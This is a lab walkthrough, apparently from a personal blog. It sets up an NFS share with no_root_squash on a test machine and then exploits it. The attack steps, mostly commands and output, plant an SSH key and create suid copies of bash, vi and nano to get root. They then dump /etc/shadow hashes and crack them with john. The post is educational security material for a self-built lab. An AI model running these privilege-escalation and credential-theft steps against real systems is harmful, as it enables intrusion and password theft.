Overview of NFS

Network File System (NFS) lets you share filesytem over a network. Clients have to mount the filesystem and access the remote data in the same way they are accessed locally.

Setting up NFS with (no_root_squash)

I’ll be using a debian based distro called antiX for the NFS server. Install nfs-common, and nfs-kernel-server on your server:

apt install nfs-common nfs-kernel-server

Make sure nfs-common is also installed on your client.

NFS Configuration

I will create a new user called tom, and use his home directory for sharing. Modify /etc/exports and add the following entry to make it accessible:

/home/tom (rw,no_root_squash)

The above entry tells nfs to allow the root user on the client to access files with read/write permissions. Restart the service:

root@antix:~# service nfs-kernel-server restart
[ ok ] Stopping NFS kernel daemon: mountd nfsd.
[ ok ] Unexporting directories for NFS kernel daemon....
[....] Exporting directories for NFS kernel daemon...exportfs: No host name given with /home/tom (rw,no_root_squash), suggest *(rw,no_root_squash) to avoid warning
exportfs: /etc/exports [1]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/home/tom".
  Assuming default behaviour ('no_subtree_check').
  NOTE: this default has changed since nfs-utils version 1.0.x

. ok
[ ok ] Starting NFS kernel daemon: nfsd mountd.

The above output say no host name was given with /home/tom. Which means every host on the network will have access. Run man 5 exports to see what other options are available.

Mounting the filesystem on my client

Mounting NFS is the same as mounting a filesystem on Unix. The only difference is you have to specify the remote host:

root@kavishgr:~# mount 192.168.100.39:/home/tom /mnt/nfs/

It’s mounted on /mnt/nfs:

root@kavishgr:~# df -h | grep nfs
192.168.100.39:/home/tom   18G  2.5G   15G  15% /mnt/nfs
root@kavishgr:~#
root@kavishgr:~# mount | grep nfs
192.168.100.39:/home/tom on /mnt/nfs type nfs4 (rw,relatime,vers=4.2,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.100.30,local_lock=none,addr=192.168.100.39)

How to Discover an NFS Service

There’s a utility called showmount that queries the mount daemon on a remote host to gather information about the state of the NFS server.

root@kavishgr:~# showmount -e 192.168.100.39
Export list for 192.168.100.39:
/home/tom *

All machine on the network is allowed to mount the /home/tom folder. If there’s a specific IP or range of IPs next to the directory, that means only those machines are allowed to mount the directory. Always follow good security practice.

Let’s list the directory contents:

root@kavishgr:/mnt/nfs# ls -a
.              .bashrc       .desktop-session  .foxrc  .gtkrc-2.0       .jwmrc      .nanorc    .smbnetfs.conf
..             .config       .dillo            .gconf  .gtkrc-2.0.mine  .local      .newsboat  .ssh
.bash_history  .conkyrc      .fehbg            .gexec  .icewm           .mcthemes   .profile   .xmms
.bash_logout   .conkyrc-lua  .fluxbox          .gtkrc  .jwm             myfile.txt  .smb.conf  .Xresources

The .ssh directory is interesting. The directory was configured to allow root, hence no_root_squash. If we get access to the machine, a privesc will be possible.

Since .ssh is in /home/tom and write access is enabled, I can append my public key to tom’s authorized_keys file. First let’s make sure if publickey is enabled:

root@kavishgr:/mnt/nfs# ssh 192.168.100.39
The authenticity of host '192.168.100.39 (192.168.100.39)' can't be established.
ECDSA key fingerprint is SHA256:mL7DbMhvrpn+9+H8UU0HNKL3dkBiAyS4TI0Trt0pb00.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.39' (ECDSA) to the list of known hosts.
root@192.168.100.39's password: 
Permission denied, please try again.
root@192.168.100.39's password: 
Permission denied, please try again.
root@192.168.100.39's password: 
root@192.168.100.39: Permission denied (publickey,password).

Great. Let’s append the our publickey:

root@kavishgr:/mnt/nfs# cat ~/.ssh/id_rsa.pub >> .ssh/authorized_keys

Now we should be able to ssh into the target. But first let’s craft a local exploit in NFS:

root@kavishgr:/mnt/nfs# cp /bin/bash . ; chmod +s bash
root@kavishgr:/mnt/nfs# ls -l bash
-rwsr-sr-x 1 root root 1168776 Oct 18 21:47 bash

I kept it simple. I made a copy of /bin/bash, and gave it the suid permission as root:

Getting a root shell

Now, we should be able to ssh into the machine as tom:

root@kavishgr:/mnt/nfs# ssh tom@192.168.100.39
Enter passphrase for key '/root/.ssh/id_rsa': 
Linux antix 4.9.160-antix.2-486-smp #1 SMP Wed Feb 27 14:42:39 EET 2019 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ bash -p
tom@antix:~
$ 

Enter you passphrase if have to, and run bash -p if an interactive shell is not available by default. I ran into a problem while executing the /bin/bash i copied earlier:

tom@antix:~
$ ./bash 
bash: ./bash: cannot execute binary file: Exec format error

The /bin/bash from my machine is 64-bit version, and antiX is a 32-bit machine. I got around it:

tom@antix:~
$ whoami
tom
tom@antix:~
$ 
tom@antix:~
$ 
tom@antix:~
$ ./bash -p
bash-4.4# whoami; id
root
uid=1001(tom) gid=1001(tom) euid=0(root) egid=0(root) groups=0(root),1001(tom)
bash-4.4# 

You’re root.

Another way to achieve this, is to copy the private and public key from the NFS share to your attacking machine. Run eval `ssh-agent to run the agent in the current shell or ssh-agent bash, then ssh-add to add the identity in the running agent. Now you should be able to ssh into the machine(assuming there’s no passphrase set).

Getting root with Nano/vi

Make a copy of Nano or Vi in the NFS Share, and enable suid permission:

root@kavishgr:/mnt/nfs# chmod 4777 nano vi
root@kavishgr:/mnt/nfs# ls -l nano vi
-rwsrwxrwx 1 root root  264620 Oct 24 13:22 nano
-rwsrwxrwx 1 root root 1111392 Oct 24 13:22 vi

Now we can log into the machine via ssh, and edit sensitive files like /etc/passwd or /etc/shadow. A shell can also be spawn from vi. Type :!/bin/sh:

# bash -p
bash-4.4# whoami
root
bash-4.4# id
uid=1001(tom) gid=1001(tom) euid=0(root) groups=1001(tom)
bash-4.4# 

Or run vi -c ':!/bin/sh' /dev/null:

tom@antix:~
$ ./vi -c ':!/bin/sh' /dev/null

# id;whoami
uid=1001(tom) gid=1001(tom) euid=0(root) groups=1001(tom)
root
# 

Resource for vi and nano.

To avoid suspicion, we can just view the /etc/shadow file and retrieve password hashes. Two ways to do this:

  • Get a root shell from ./vi, and copy the hashes
  • or run ./nano -p /etc/shadow

The main goal is to exploit NFS through a misconfiguration. In this case, we can access it as root. If root_squash was enabled, we would have accessed as the anonymous user. What you do after that, depends on binaries that can found on the system. It doesn’t neccesary have to be vi or nano. This is just for demonstration purposes.

If NFS was configured to be shared with a range of IPs, and you’re on the same network, try arp cache poisoning. Sometimes you can get access but you won’t be able to view any files not owned by you. In this case create a user with same uid/gid as the owner of the files that can’t be viewed, and see if that works.

Since we talked about hashes, let’s get cracking. I got the hash of root, tom and kavish:

bash-4.4# cat /etc/shadow | cut -d ':' -f 1-2 | grep -v '*' | tee hashes.txt
root:$6$ZT6CssAU$wmdap/nyK1KPJiTHaVQp5sFvBweMh/sdOdd8iJKc5OJYxNvHki3oQ4v5wHLia00e7nXhkdGgun3FxvIlz/whU.
kavish:$6$V65ZWIB7$TeiNQYKlJtUiOE5A7w3byzexqTzvsuRYm.W9BP3VJJeNH93Wqw3FIuUxiHtWphNeY2hUpqY35QTGKGnhHTDAR1
tom:$6$suAbRsBW$CLzxWfpfG2dRelmEaa09..jVOMJryJRCNNzwsG2efjO9eo/VD9US5zJzxJYzkhayWTLnWNlehlAS8HKqW3K3i/

The password hash format is as follows: $id$salt$hashed. The $id represent the algorithm. In this case, it’s $6$.

Other types:

  • $1$ is MD5
  • $2a$ is Blowfish
  • $2y$ is Blowfish
  • $5$ is SHA-256
  • $6$ is SHA-512

I saved it in hashes.txt, and run john on it:

john hashes.txt | tee cracked.txt

I stopped it midway, and run:

root@kavishgr:/mnt/nfs# john --show hashes.txt 
kavish:kavish

1 password hash cracked, 2 left

Have fun.